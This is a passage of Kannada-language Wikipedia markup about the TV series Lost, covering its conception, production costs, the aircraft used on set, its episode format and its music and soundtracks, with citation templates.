''ಲಾಸ್ಟ್'' ಸೆಟ್ ಫಾರ್ ಥ್ರೀ ಮೋರ್ ಇಯರ್ಸ್], ''[[ವೆರೈಟಿ]]'' . ಏಪ್ರಿಲ್‌ 16, 2009ರಂದು ಪತ್ತೆ ಹಚ್ಚಲಾಯಿತು.</ref> ಆರನೇ ಸೀಸನ್ನು ಹದಿನೆಂಟು ಕಂತುಗಳದ್ದಾಗಲಿದೆ.<ref name="17ep">{{cite news |url=http://www.tvguide.com/news/lost-season-5-1000807.aspx |last=Mitovich |first=Matt |title=''Lost'' Fans Will Get an Uninterrupted Season 5 |publisher=[[TV Guide]] |date=2008-12-18 |accessdate=2009-04-12 |archive-date=2014-10-19 |archive-url=https://web.archive.org/web/20141019122705/http://www.tvguide.com/news/lost-season-5-1000807.aspx |url-status=dead }}</ref> ಯುಎಸ್‌ನಲ್ಲಿ ಮೊದಲ ನಾಲ್ಕು ಸೀಸನ್‌ಗಳ ಸರಣಿಯು [[ಸ್ವಂತ ವಾಹಿನಿಯಲ್ಲಿ ಪ್ರಸಾರವಾಗದೇ ಇತರೇ ವಾಹಿನಿಗಳಿಂದ ಅದೇ ಸಮಯಕ್ಕೆ ಪ್ರಸಾರ]]ವಾಯಿತು. [[ಡಿಸ್ನೆ-ಎಬಿಸಿ ಡೊಮೆಸ್ಟಿಕ್ ನೆಟ್‌ವರ್ಕ್‌]]ಗಳಿಂದ ವಿತರಿಸಲ್ಪಟ್ಟು [[ಜಿ4]] ಮತ್ತು [[ಸಿಫಿ]] ವಾಹಿನಿಗಳಲ್ಲಿ ಪ್ರಸಾರವಾಯಿತು.<ref>{{cite web |url=http://www.g4tv.com/specials/videos/27294/Lost_in_20__Coming_in_September.html |title=''Lost'' in 2.0 - Coming in September |publisher=[[G4 Media]] |date=2008-07-23 |accessdate=2008-12-04 |archive-date=2018-02-16 |archive-url=https://web.archive.org/web/20180216093047/http://www.g4tv.com/specials/videos/27294/Lost_in_20__Coming_in_September.html |url-status=dead }}</ref><ref>{{cite news |url=http://www.buddytv.com/articles/lost/sci-fi-channel-to-begin-airing-20952.aspx |title=Sci Fi Channel to Begin Airing ''Lost'' Reruns in September |publisher=[[BuddyTV]] |date=2008-07-03 |accessdate=2008-12-04}}</ref> == ನಿರ್ಮಾಣ == === ಕಲ್ಪನೆ === ತನ್ನ ಕಲ್ಪನೆಗೆ ಮೂಲವಾದ ''[[ಲಾರ್ಡ್ ಆಫ್ ದಿ ಫ್ಲೈಸ್]]'' ಕಾದಂಬರಿ, ''[[ಕಾಸ್ಟ್ ಅವೇ]]'' ಚಲನಚಿತ್ರ, ''[[ಗಿಲ್ಲಿಗನ್ಸ್ ಐಲ್ಯಾಂಡ್]]'' ಟೆಲಿವಿಷನ್ ಸರಣಿ ಮತ್ತು ''[[ಸರ್ವಾಯ್ವರ್]]'' ಎಂಬ ಜನಪ್ರಿಯ ರಿಯಾಲಿಟಿ ಶೋಗಳನ್ನು ಒಗ್ಗೂಡಿಸಿ, ಅಂದಿನ ಎಬಿಸಿಯ ಮುಖ್ಯಸ್ಥರಾದ [[ಲಿಯೋಯ್ಡ್ ಬ್ರುವಾನ್‌]]ರವರು [[ಸ್ಪೆಲ್ಲಿಂಗ್ ಟೆಲೆವಿಷನ್‌]]ಗೆ ಹಸ್ತಪ್ರತಿಯನ್ನು ರಚಿಸಲು ನಿರ್ದೇಶನ ನೀಡುವುದರ ಮೂಲಕ ಜನವರಿ 2004ರಲ್ಲಿ ಈ ಸರಣಿಯು [[ಬೆಳವಣಿಗೆ]]ಯನ್ನು ಕಂಡಿತು. [[ದಿ ನ್ಯೂ ಪೀಪಲ್]] ಎಂಬ ವಿಮಾನ ಅಪಘಾತದಿಂದ ತತ್ತರಿಸುವವರ ಬಗೆಗಿನ ಸಣ್ಣ ಸರಣಿಯನ್ನು 1969ರಲ್ಲಿ ಎಬಿಸಿ ಪ್ರಸಾರ ಮಾಡಿತ್ತು. [[ರೋಡ್ ಸೆರ್ಲಿಂಗ್‌]]ರು ಆರಂಭಿಕ ಸರಣಿಯ ನೇತಾರರಾಗಿದ್ದರು. ಗ್ಯಾಡಿ ಪೊಲ್ಲಾಕ್ ಹೇಳುವಂತೆ "''[[ಮಿಸ್ಟ್]]'' ಆಟದ ಕೆಲವು ಪ್ರಭಾವಗಳಿಂದಾಗಿ ''ಲಾಸ್ಟ್'' ಸರಣಿಯು ರೂಪುಗೊಂಡಿದೆ". [[ಪ್ರಾಥಮಿಕ ಹಂತದ]] ಬರವಣಿಗೆಯಲ್ಲಿ ಉತ್ತಮ ಅನುಭವ ಇರುವ ಲೈಬರ್‌‍ ಅವರನ್ನು ''ನೋವೇರ್‌'' ಸರಣಿಯನ್ನು ಬರೆಯಲು ನೇಮಿಸಿಕೊಳ್ಳಲಾಯ್ತು.<ref>{{cite news|title=Cast Away|last=Bernstein|first=David|url=http://chicagomag.com/Chicago-Magazine/August-2007/Cast-Away/index.php?cp=2&si=1#artanc|publisher=[[Chicago (magazine)|''Chicago'' magazine]]|date=August 2007|access-date=2009-12-17|archive-date=2012-10-29|archive-url=https://web.archive.org/web/20121029091018/http://www.chicagomag.com/Chicago-Magazine/August-2007/Cast-Away/index.php?cp=2&si=1#artanc|url-status=dead}}</ref> ಲೈಬರ್‌ ಅವರ ಬರವಣಿಗೆಯ ಫಲಿತಾಂಶ ಮತ್ತು ಮರುಬರವಣಿಗೆಯಿಂದಲೂ ಸಂತೋಷವಾಗದ ಬ್ರೌನ್‌ರವರು, ಟಚ್‌ಸ್ಟೋನ್ ಟೆಲೆವಿಷನ್(ಈಗ ಎಬಿಸಿ ಸ್ಟುಡಿಯೋಸ್) ಜೊತೆಗೆ ವ್ಯವಹಾರ ನಡೆಸುತ್ತಿದ್ದ ಮತ್ತು ''[[ಅಲಿಯಾಸ್]]'' ಟಿವಿ ಸರಣಿಯ ನಿರ್ಮಾತೃವಾಗಿದ್ದ ಜೆ.ಜೆ.ಅಬ್ರಾಮ್ಸ್‌ರನ್ನು, ಹೊಸದಾದ ಪ್ರಾಥಮಿಕ ಹಸ್ತಪ್ರತಿಯನ್ನು ಬರೆಯಲು ಸಂಪರ್ಕಿಸಿದರು. ಆರಂಭದಲ್ಲಿ ಸೂಕ್ತ ನಿರ್ಣಯವಿಲ್ಲದಿದ್ದರೂ, ಈ ಸರಣಿಗೆ [[ನಿಸರ್ಗಾತೀತ]] ಕೋನವಿರಬೇಕು ಎಂಬ ಶರತ್ತಿನಿಂದ ಅಬ್ರಾಮ್ಸ್‌ರ ಯೋಜನೆಯು ಚುರುಕಾಯಿತು ಹಾಗೂ ಡಮೋನ್ ಲಿಂಡೆಲಾಪ್‌ರವರು ಸರಣಿಯ ಶೈಲಿಯನ್ನು ಮತ್ತು ವ್ಯಕ್ತಿತ್ವಗಳನ್ನು ಸೃಷ್ಟಿಸಲು ಸಹಕಾರಿಯಾದರು.<ref name="DT081405">{{cite news| last=Craig| first=Olga| title=The man who discovered ''Lost''&nbsp;— and found himself out of a job| url=http://www.telegraph.co.uk/news/worldnews/northamerica/usa/1496199/The-man-who-discovered-Lost---and-found-himself-out-of-a-job.html| publisher=''[[The Daily Telegraph]]''| date=2005-08-14| access-date=2009-12-17| archive-date=2009-12-17| archive-url=https://web.archive.org/web/20091217020230/http://www.telegraph.co.uk/news/worldnews/northamerica/usa/1496199/The-man-who-discovered-Lost---and-found-himself-out-of-a-job.html| url-status=dead}}</ref> "[[ಬೈಬಲ್]]" ಎಂಬ ಸರಣಿಯನ್ನು ಅಬ್ರಾಮ್ಸ್ ಮತ್ತು ಲಿಂಡಾಲ್ಪ್ ಜೊತೆಯಾಗಿ ತಯಾರಿಸಿದರು ಮತ್ತು ಯೋಜನಾತ್ಮಕವಾದ ಐದರಿಂದ ಆರು ಸೀಸನ್‌ಗಳನ್ನು ಪ್ರದರ್ಶನಕ್ಕಾಗಿ ನಡೆಸಲು ಮುಖ್ಯ [[ಪೌರಾಣಿಕ]] ಯೋಜನೆಗಳನ್ನು ಮತ್ತು ಕಥೆಯ ಕೇಂದ್ರವನ್ನು ವಿವರಿಸಿದರು.<ref>{{cite web| last=Jensen| first=Jeff| title=When Stephen King met the ''Lost'' boys...| url=http://www.ew.com/ew/article/0,,1562722,00.html| publisher=EW.com|accessdate=2007-11-24}}</ref><ref>ಬರ್ಕ್, ಬ್ರಿಯಾನ್, '' ಲಾಸ್ಟ್ ಸೀಸನ್ 1 ಡಿವಿಡಿ'' (ಎಕ್ಸ್‌ಟ್ರಾಸ್), [[ಬ್ಯುನಾ ವಿಸ್ಟಾ ಹೋಮ್ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್]], ಸಪ್ಟೆಂಬರ್ 6, 2005.</ref> ಇತ್ತೀಚೆಗೆ 2004ರ ಸೀಸನ್ ಬೆಳವಣಿಗೆಯಲ್ಲಿ ಆಗಿದ್ದಂತೆ ಸಣ್ಣದಾದ ಅಂತಿಮ ಅವಧಿಯಿಂದಾಗಿ ಪ್ರದರ್ಶನದ ಬೆಳವಣಿಗೆಯು ನಿಯಂತ್ರಿಸಲ್ಪಟ್ಟಿತ್ತು. ಕಡಿಮೆ ಸಮಯಾವಕಾಶ ಇದ್ದರೂ ಕೂಡ, ನಟರು ಮಾಡಲು ಇಚ್ಛಿಸಿದ ಪಾತ್ರಕ್ಕೆ ಸರಣಿಯ ಪಾತ್ರದ ವ್ಯಕ್ತಿತ್ವವನ್ನು ಬದಲಾಯಿಸಲು ಅಥವಾ ಪಾತ್ರವನ್ನು ಸೃಷ್ಟಿಸುವ ಬದಲಾವಣೆಗೆ ಸೃಜನಶೀಲ ತಂಡವು ಒಳಗೊಂಡಿತು.<ref name="season1dvd">ಅಬ್ರಮ್ಸ್, ಜೆ.ಜೆ ಮತ್ತು ಲಿಯಾಯ್ಡ್ ಬ್ರೌನ್, ''ಲಾಸ್ಟ್ ಸೀಸನ್ 1 ಡಿವಿಡಿ'' (ಎಕ್ಸ್‌ಟ್ರಾಸ್), ಬ್ಯುನಾ ವಿಸ್ಟಾ ಹೋಮ್ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್. ಸಪ್ಟೆಂಬರ್ 6, 2005.</ref> '' ಲಾಸ್ಟ್‌ನ ಎರಡು ಭಾಗವಿದ್ದ '''ಪ್ರಾಥಮಿಕ ಕಂತುಗಳು ನೆಟ್‌ವರ್ಕಿನ ಇತಿಹಾಸದಲ್ಲೇ ಹೆಚ್ಚು ಖರ್ಚಿನದಾಗಿತ್ತು''' . ವೆಚ್ಚವು ವರದಿಯಾದಂತೆ [[US$10]] ಮತ್ತು $14ರ ಮಧ್ಯೆ ಇತ್ತು.<ref>{{cite news|title=New series gives Hawaii 3 TV shows in production| last=Ryan|first=Tim|url =http://starbulletin.com/2004/05/17/news/story7.html| publisher=''Honolulu Star-Bulletin''|date=2004-05-17}}</ref> 2005ರ ಒಂದು ಗಂಟೆಯ ಪೂರ್ವ ಪ್ರಸಾರದ ಕಂತಿಗೆ ಹೋಲಿಸಿದರೆ ಇದು $4 ಮಿಲಿಯನ್ ಆಗಿತ್ತು.<ref name="EIDC050405">{{cite press release|url=http://www.eidc.com/EIDC_Press_Release_050405.pdf#search=%22production%20cost%20of%20a%20television%20TV%20pilot%22|publisher=Entertainment Industry Development Corporation|title=EIDC Issues First Overview of Pilot Production Activity and Economic Impact|date=2005-05-04|accessdate=2006-09-18|archive-date=2008-06-24|archive-url=https://web.archive.org/web/20080624213238/http://www.eidc.com/EIDC_Press_Release_050405.pdf#search=%22production%20cost%20of%20a%20television%20TV%20pilot%22|url-status=dead}}</ref> ಈ ಸರಣಿಯು ಸಪ್ಟೆಂಬರ್ 22, 2004ರಂದು ಏಕೈಕ [[2004ರ ಟೆಲೆವಿಷನ್ ಸೀಸನ್]] ಎಂದು ವಿಮರ್ಶಾತ್ಮಕ ಮತ್ತು ವಾಣಿಜ್ಯಿಕ ದೃಷ್ಟಿಯಿಂದ ಯಶಸ್ವೀ ಮೆಚ್ಚುಗೆ ಪಡೆಯಿತು. [[ಡೆಸ್ಪರೇಟ್ ಹೌಸ್‌ವೈವ್ಸ್]] ಮತ್ತು [[ಗ್ರೇಸ್ ಅನಾಟಮಿ]] ಎಂಬ ಕೆಲವು ಹೊಸ ಸರಣಿಗಳ ಜೊತೆಗೆ ಲಾಸ್ಟ್ ಸರಣಿಯು ಎಬಿಸಿಗೆ ಸಂಪತ್ತನ್ನು ತಂದುಕೊಡಲು ಸಹಾಯ ಮಾಡಿತು<ref>{{cite news|last=Bianco|first=Robert|title=A good season, with reason|url =http://www.usatoday.com/life/television/news/2005-04-26-tv-lookback_x.htm| publisher=''[[USA Today]]''|date=2005-04-26}}</ref>'' . ಇದು ಪ್ರಸಾರವಾಗುವುದಕ್ಕಿಂತ ಮೊದಲೇ, ನೆಟ್‌ವರ್ಕಿನ ಕಡಿಮೆ ರೇಟಿಂಗ್‌ನಿಂದಾಗಿ ಮತ್ತು ಅತೀ ಖರ್ಚಿನ ತ್ರಾಸದಾಯಕ ಯೋಜನೆಗೆ ಬ್ರೌನ್ [[ಹಸಿರುನಿಶಾನೆ]] ತೋರಿಸಿದ್ದಕ್ಕಾಗಿ ಎಬಿಸಿಯ ಮುಖ್ಯಕಂಪನಿಯ ಕಾರ್ಯನಿರ್ವಾಹಕ [[ಡಿಸ್ನಿ]]ಯಿಂದ [[ಲಿಯೋಯ್ಡ್ ಬ್ರೌನ್]] [[ಬೈಯ್ಯಿಸಿ]]ಕೊಂಡಿದ್ದ.<ref name="DT081405"/> ಸ್ಯಾನ್ ಡಿಯಾಗೋದಲ್ಲಿನ [[ಕಾಮಿಕ್-ಕಾನ್ ಇಂಟರ್‌ನ್ಯಾಶನಲ್‌ನಲ್ಲಿ]] ಜುಲೈ 24, 2004ರಂದು ಪ್ರಾಥಮಿಕ ಕಂತು ಜಾಗತಿಕ ಪ್ರದರ್ಶನವನ್ನು ಕಂಡಿತು.<ref>{{Cite web |url=http://www.comic-con.org/cci2004/CCI04-ProgSat.shtml |title=ಕಾಮಿಕ್-ಕಾನ್ 2004: ಸ್ಯಾಟರ್ಡೇಸ್ ಪ್ರೊಗ್ರಮಿಂಗ್ |access-date=2009-12-17 |archive-date=2007-02-09 |archive-url=https://web.archive.org/web/20070209201928/http://www.comic-con.org/cci2004/CCI04-ProgSat.shtml |url-status=dead }}</ref> ವಿಮಾನವನ್ನು ಫ್ಲೈಟ್ 815ಆಗಿ ಉಪಯೋಗಿಸಲಾಗಿತ್ತು, ಬೋಯಿಂಗ್ 777-200ERನ್ನೂ ವಿವರಿಸಲಾಗಿದ್ದರೂ ಇದು ನಿಜವಾಗಿ ಲಾಕ್‌ಹೀಡ್ L-1011 ಟ್ರೈಸ್ಟಾರ್ ಆಗಿತ್ತು. ಈ ಹಿಂದೆ ಇದು ಡೆಲ್ಟಾ ಏರ್‌ಲೈನ್ಸ್‌ನವರಿಂದ ಎನ್ 783ಡಿಎಲ್ ಎಂಬ ಹೆಸರಿನಿಂದ ಹಾರಾಟ ನಡೆಸಿತ್ತು.ಈ ವಿಮಾನವನ್ನು ಎಬಿಸಿ/ಟಚ್‌ಸ್ಟೋನ್‌ನಿಂದ ಖರೀದಿ ಮಾಡಲಾಯಿತು ಮತ್ತು ಇದು ಒಡೆದುಹೋಯಿತು. ವಿಮಾನದ ನೈಜತೆಯನ್ನು ಗುರುತುಹಿಡಿದುಬಿಡಬಹುದೆಂಬ ಹೆದರಿಕೆಯಿಂದ ಹವಾಯಿ ದ್ವೀಪಕ್ಕೆ ಹಿಂಭಾಗವನ್ನಷ್ಟೇ ಬಿಟ್ಟು ವಿಮಾನವನ್ನು ಕೊಂಡೊಯ್ಯಲಾಯಿತು. ಅಲ್ಲಿಯವರೆಗೆ ಎಲ್-1011,ಟ್ರೈ-ಜೆಟ್ ಆಗಿತ್ತು. ವಿಮಾನವನ್ನು ಒಡೆದ ನಂತರ ಇದು ಬೋಯಿಂಗ್ 767-400ನಂತೆಯೇ ಕಾಣುತ್ತಿತ್ತು. === ಸಂಚಿಕೆಯ ಶೈಲಿ: === ಹೆಚ್ಚಿನ ಕಂತುಗಳು ವಿಭಿನ್ನವಾದ ವಿನ್ಯಾಸವನ್ನು ಹೊಂದಿವೆ: ಹಿಂದಿನ ಸಂಚಿಕೆಯ ತುಣುಕುಕುಗಳನ್ನು ತೋರಿಸುವುದು ಮುಂದಿನ ವಿವರಣೆಯ ಘಟನೆಗಳಿಗೆ ಸಂಬಂಧಿಸಿರುತ್ತದೆ. ಪ್ರತೀ ಪ್ರದರ್ಶನವೂ [[ತಕ್ಷಣ ತೆರೆದುಕೊಳ್ಳು]]ವುದರೊಂದಿಗೆ ಆರಂಭವಾಗುತ್ತಿತ್ತು. ಹೆಚ್ಚಾಗಿ ಪಾತ್ರದ ಕಣ್ಣಿನ ಕ್ಲೋಸ್‌ ಅಪ್‌‍ ಚಿತ್ರವನ್ನು ಆಗಾಗ ನೀಡಲಾಗುತ್ತದೆ. ನಾಟಕೀಯ ಸಂಧಿಯಲ್ಲಿ, ತೆರೆಯು ಸಂಪೂಣರ್ಣ ಕಪ್ಪಾಗಿ [[ಗ್ರಾಫಿಕ್]] ತಲೆಬರಹವು ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತದೆ, ನಿಧಾನವಾಗಿ ತೆರೆಯಿಂದ ಮರೆಯಾಗುತ್ತದೆ, ಮುನ್ಸೂಚನೆಯ ಮೂಲಕ ವೀಕ್ಷಕರನ್ನು ಜೊತೆಮಾಡಿಕೊಂಡು, ವಿಚಿತ್ರ ಹಿನ್ನೆಲೆ ಸಂಗೀತದೊಂದಿಗೆ ಧ್ವನಿ ಕೇಳುತ್ತದೆ. ದೃಶ್ಯಗಳನ್ನು ತಕ್ಷಣವೇ ಹಿಂಬಾಲಿಸಿದ [[ಆರಂಭಿಕ ಮನ್ನಣೆ]]ಯು ಸಾಮಾನ್ಯವಾಗಿ ಅಕಾರಾದಿಯಲ್ಲಿ ಕೊನೆಯ ಹೆಸರಿನಿಂದ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತದೆ. (ಕೆಲವು ಕಂತುಗಳಲ್ಲಿ ಮನ್ನಣೆಯು ತಕ್ಷಣದ ಆರಂಭಕ್ಕೆ ಮುನ್ನ ಹಾಗೂ ತಲೆಬರಹವು ಆರಂಭವಾಗುವ ಮುನ್ನವೇ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತದೆ.) ಅದೇ ವೇಳೆ ನಿರಂತರವಾಗಿ [[ಕಥೆಯ ತಿರುವು]] ಆರಂಭವಾಗಿರುತ್ತದೆ. ನಿರ್ದಿಷ್ಟವಾದ ವ್ಯಕ್ತಿತ್ವದಮೇಲೆ ಕೇಂದ್ರೀಕರಿಸಿದ ಪ್ರತೀ ಕಂತೂ ಹಿನ್ನೋಟ ಮತ್ತು ನಂತರ [[ಮುನ್ನೋಟ]]ದ ಲಕ್ಷಣವನ್ನು ಹೊಂದಿರುತ್ತದೆ. ಹೆಚ್ಚಿನ ಕಂತುಗಳು ಕುತೂಹಲಕಾರೀ [[ತಿರುವನ್ನು]] ಅಥವಾ [[ಉಸಿರು ಬಿಗಿಹಿಡಿದಿಡುವ ಪ್ರಸಂಗ]]ದ ಅಂತ್ಯವನ್ನು ಕಾಣುವ ಮುನ್ನ ಕೆಲವೇ ಸೆಕೆಂಡುಗಳಲ್ಲಿ [[ರಭಸ]]ವಾಗಿ ತೆರೆಯು ಕಪ್ಪಿಗೆ ತಿರುಗುತ್ತದೆ ಮತ್ತು ತಲೆಬರಹದ ಗ್ರಾಫಿಕ್ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತದೆ. ಇತರರು, ಪ್ಲಾಟ್ ರೆಸಲ್ಯೂಶನ್ನನ್ನು ಹಿಂಬಾಲಿಸುತ್ತಿದ್ದರು, ವಿಶೇಷವಾಗಿ ದುಃಖಾಂತ್ಯ ಅಥವಾ ಹೃದಯಂಗಮವಾದ ಕೊನೆಯ ದೃಶ್ಯಗಳಲ್ಲಿ ಸರಳವಾದ ಕಪ್ಪು ಬಣ್ಣಕ್ಕೆ ತಿರುಗಿಕೊಳ್ಳುವ ಪರಿಣಾಮಕಾರೀ ಅಂತ್ಯವನ್ನು ಮಾಡಿದರು, ತಲೆಬರಹದ ಗ್ರಾಫಿಕ್‌ನಲ್ಲಿ ಹೆಚ್ಚುವ ಶಬ್ದವನ್ನು ಸೈಲೆನ್ಸ್ ಮಾಡಲಾಯಿತು ಇದರಿಂದ ಘಟನೆಯ ಪರಣಾಮವು ಹೆಚ್ಚಾಯಿತು. === ಸಂಗೀತ === {{Main|Lost Original Television Soundtracks}} [[ಹಾಲಿವುಡ್ ಸ್ಟುಡಿಯೋ ಸಿಂಫೋನಿ ಆರ್ಕೆಸ್ಟ್ರಾ]]ದಿಂದ [[ವಾದ್ಯಸಂಗೀತ]]ವು ನಡೆಸಲ್ಪಟ್ಟಿದ್ದು, ವ್ಯಕ್ತಿತ್ವ, ಸ್ಥಳ ಮತ್ತು ಘಟನೆಗಳಂತಹ ಹಲವಾರು ವಿಷಯಗಳಲ್ಲಿ ಒಂದಾದ ಮೈಕೆಲ್ ಗಿಯಾಚನೋ ಅವರಿಂದ ''ಲಾಸ್ಟ್'' ಸರಣಿಗೆ ಸಂಗೀತ ನಿರ್ದೇಶಿಸಲ್ಪಟ್ಟಿದೆ. [[ವಿಮಾನದ ಹೊರಮೈ]] ತೇಲಾಡುತ್ತಿರುವ ಚೂರುಗಳಿಂದ ಸಂಗೀತ ಹೊರಡಿಸುವ ಮೂಲಕ ವಿಶೇಷ ಪರಿಣಾಮಗಳಿಗಾಗಿ ಅಸಾಮಾನ್ಯವಾದ ಸಂಗೀತವನ್ನು ಗಿಯಾಚಿನೋ ಹೊಂದಿಸಿದ್ದಾರೆ.<ref>[http://abc.go.com/primetime/lost/podcasts/101323.html ಅಫಿಶಿಯಲ್ ''ಲಾಸ್ಟ್'' ಪಾಡ್‌ಕಾಸ್ಟ್] ಜನವರಿ 9, 2006.</ref> ಮಾರ್ಚ್ 21, 2006ರಂದು ''ಲಾಸ್ಟ್‌'''ನ ಮೊದಲ ಸೆಶನ್‌ಗಾಗಿ''' '' ಮುದ್ರಿತ ಪಟ್ಟಿಯಾದ [[ವರೇಸ್ ಸರಬೇಂಡ್‌]]ನ ನೈಜ ಟೆಲೆವಿಷನ್ [[ಧ್ವನಿಮುದ್ರಿಕೆ]]ಗಳನ್ನು ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು.<ref name="Soundtrack 1">[http://www.amazon.com/dp/B000EHSVDM '''ಲಾಸ್ಟ್'': ಸೀಸನ್ 1 ಒರಿಜಿನಲ್ ಸೌಂಡ್‌ಟ್ರಾಕ್- ಅಮಝಾನ್.ಕಾಂ'' ''' ]</ref>''''' ಸರಣಿ ನಿರ್ಮಾತೃ ಜೆ.ಜೆ.ಅಬ್ರಾಮ್ಸ್‌ರಿಂದ ಸಂಯೋಜಿಸಲ್ಪಟ್ಟ ಮುಖ್ಯ ತಲೆಬರಹದ ಹಾಡು ಮತ್ತು ಸೀಸನ್‌ನ ಬಹು ಜನಪ್ರಿಯವಾದ ಆಯ್ದ ಪೂರ್ಣ ಆವೃತ್ತಿಯ ಧ್ವನಿಮುದ್ರಿಕೆಯನ್ನು ಹೊಂದಿತ್ತು.<ref name="Soundtrack 1"/> ಅಕ್ಟೋಬರ್ 3, 2006ರಂದು ಲಾಸ್ಟ್‌ನ ಎರಡನೇ ಸೀಸನ್ನಿನ ಸಂಗೀತವನ್ನು ಹೊಂದಿದ ಧ್ವನಿಮುದ್ರಿಕೆಯನ್ನು ವೆರೇಸ್ ಸರಬೇಂಡ್ ಬಿಡುಗಡೆ ಮಾಡಿತು.''' '' <ref name="Soundtrack 2">[http://www.amazon.com/dp/B000I2IQ9M ಲಾಸ್ಟ್'': ಸೀಸನ್ 2 ಒರಿಜಿನಲ್ ಸೌಂಡ್‌ಟ್ರಾಕ್- ಅಮಝಾನ್.ಕಾಂ'' ]</ref>'' ಮೂರನೇ ಸೀಸನ್‌ಗಾಗಿನ ಧ್ವನಿಮುದ್ರಿಕೆಯು ಮೇ6, 2008ರಂದು ಬಿಡುಗಡೆಯಾಯಿತು. ಜೊತೆಗೆ ನಾಲ್ಕನೇ ಸೀಸನ್ನಿನ ಧ್ವನಿಮುದ್ರಿಕೆಯು ಮೇ 11, 2009ರಂದು ಬಿಡುಗಡೆಯಾಯಿತು.'' ಪಾಪ್ ಸಂಸ್ಕೃತಿಯ ಹಾಡುಗಳನ್ನು ಮಿತವಾಗಿ ಸರಣಿಯಲ್ಲಿ ಬಳಸಲಾಗಿದೆ. ಉಪಕರಣ ಸಂಗೀತಕ್ಕೆ ಪ್ರಾಮುಖ್ಯವನ್ನು ಕೊಡಲಾಗಿದೆ. ಈ ರೀತಿಯ ಹಾಡುಗಳನ್ನು ಬಳಸಿದಾಗ ಇವು [[ದೃಶ್ಯದ ಭಾವಗಳ]] ಮೂಲಗಳನ್ನು ನೈಜವಾಗಿಸುತ್ತವೆ. ಮೊದಲ ಸೀಸನ್ ಸಂಬರ್ಭದಲ್ಲಿ ಹರ್ಲೇಯವರ ಪೋರ್ಟಬಲ್ ಸಿಡಿ ಪ್ಲೇಯರ್‌ನ ಮೂಲಕ ಹಾಡುಗಳ ಉದಾಹರಣೆಯನ್ನು ನುಡಿಸಲಾಯಿತು. (ಆ ಕಂತಿನಲ್ಲಿ ಅದರ ಬ್ಯಾಟರಿಯು ಖಾಲಿಯಾಗುವತನಕ[[...]][[ಅನುವಾದದಲ್ಲಿ]]"), ಡೇಮಿಯನ್ ರೈಸ್‌ರವರ "ಡೆಲಿಕೇಟ್", ಅಥವಾ ಎರಡನೇ ಸೀಸನ್ನಿನಲ್ಲಿ [[ಕ್ಲಾಸ್ ಈಲಿಯಟ್‌]]ರ "[[ಮೇಕ್ ಯುವರ್ ಓವ್ನ್ ಕೈಂಡ್ ಆಫ್ ಮ್ಯೂಸಿಕ್]]" ಮತ್ತು ಮೂರನೇ ಸೀಸನ್ನಿನಲ್ಲಿ [[ಪೆಟುಲಾ ಕ್ಲಾರ್ಕ್‌]]ರ "[[ಡೌನ್‌ಟೌನ್]]"ನ್ನು ರೆಕಾರ್ಡ್ ಪ್ಲೇಯರ್ ಬಳಸಿದೆ. ಎರಡು ಕಂತುಗಳಲ್ಲಿ, ಸ್ಟ್ರೀಟ್ ಕಾರ್ನರ್ ಗಿಟಾರನ್ನು ನುಡಿಸುತ್ತಾ ಹಾಡಿದ [[ಓಯಾಸಿಸ್]] ಹಾಡಾದ "[[ವಂಡರ್ವಾಲ್]]" ಹಾಡನ್ನು ಚಾರ್ಲೀಯವರು ತೋರಿಸಿದರು. ಮೂರನೇ ಸೀಸನ್ನಿನ ಕೊನೆಯಲ್ಲಿ, ಜಾಕ್‌ರು [[ನಿರ್ವಾನಾ]]ರವರ "ಸೆಂಟ್‌ಲೆಸ್ ಅಪ್ರೆಂಟಿಸ್"ನ್ನು ಕೇಳಲು ನಗರದಾಚೆಗೆ ಚಲಿಸಿದರು, ಇದಕ್ಕಿಂತ ಮೊದಲೇ ಹಾಫ್ಸ್/ಡ್ರಾವ್ಲರ್ ಫ್ಯೂನರಲ್ ಪಾರ್ಲರ್‌ಗೆ ಬಂದು ತಲುಪಿದ್ದರು. ಮತ್ತು ಇದರ ಪರ್ಯಾಯ ದೃಶ್ಯದಲ್ಲಿ, ನಾಲ್ಕನೇ ಸೀಸನ್ನಿನ ಅಂತ್ಯದಲ್ಲಿ [[ಪಿಕ್ಸೀಸ್‌]]ರ "[[ಗೋಜ್ ಅವೇ]]"ಯನ್ನು ಕೇಳಲು ಬಂದಿದ್ದರು. ಕ್ರಿಯಾಶೀಲವಾದ ಎರಡು ಸಂದರ್ಭಗಳಲ್ಲಿ [[ಥ್ರೀ ಡಾಗ್ ನೈಟ್‌]]ನ [[ಶಂಬಾಲಾ]]ವನ್ನು ಮೂರನೇ ಸೀಸನ್ನಿನಲ್ಲಿ ಉಪಯೋಗಿಸಲಾಗಿತ್ತು. "[[ಐ ಡೂ]]" ಮತ್ತು "ಐ ಶಲ್ ನಾಟ್ ವಾಕ್ ಅಲೋನ್" ಕಂತುಗಳಲ್ಲಿ [[ಆ‍ಯ್‌ನ್ ಮಾರ್ಗರೆಟ್‌]]ರ "ಸ್ಲೋಲೀ" ಯನ್ನು ಮತ್ತು [[ಬೆನ್ ಹಾರ್ಪರ್]] ಬರೆದ [[ದಿ ಬ್ಲೈಂಡ್ ಬಾಯ್ಸ್ ಆಫ್ ಅಲಬಾಮಾ]]ರಿಂದ ಸುತ್ತುವರಿಯಲ್ಪಟ್ಟ ಹಾಡನ್ನು "[[ಕಾನ್ಫಿಡೆನ್ಸ್ ಮ್ಯಾನ್]]" ಕಂತಿನಲ್ಲಿ ಬಳಸಲಾಗಿತ್ತು. ಇವೆರಡೇ ಎರಡು ಪಾಪ್ ಹಡುಗಲನ್ನು ಮೂಲಗಳಿಲ್ಲದೇ(ಉದಾಹರಣೆಗೆ, [[ದೃಶ್ಯಗಳ ಭಾವ]]ಗಳಿಗೆ ಸಂಬಂಧಿಸಿಲ್ಲದೇ) ಬಳಸಲಾಗಿದೆ. ಪರ್ಯಾಯ ಸಂಗೀತವು ಕೆಲವು ಅಂತರಾಷ್ಟ್ರೀಯ ಪ್ರಸಾರಗಳಲ್ಲಿ ಉಪಯೋಗಿಸಲ್ಪಟ್ಟಿದೆ. ಪ್ರಾಸಂಗಿಕವಾಗಿ, [[ಜಪಾನಿ]]ನ ''ಲಾಸ್ಟ್'' ಪ್ರಸಾರದಲ್ಲಿ ಸೀಸನ್ನಿಗೆ 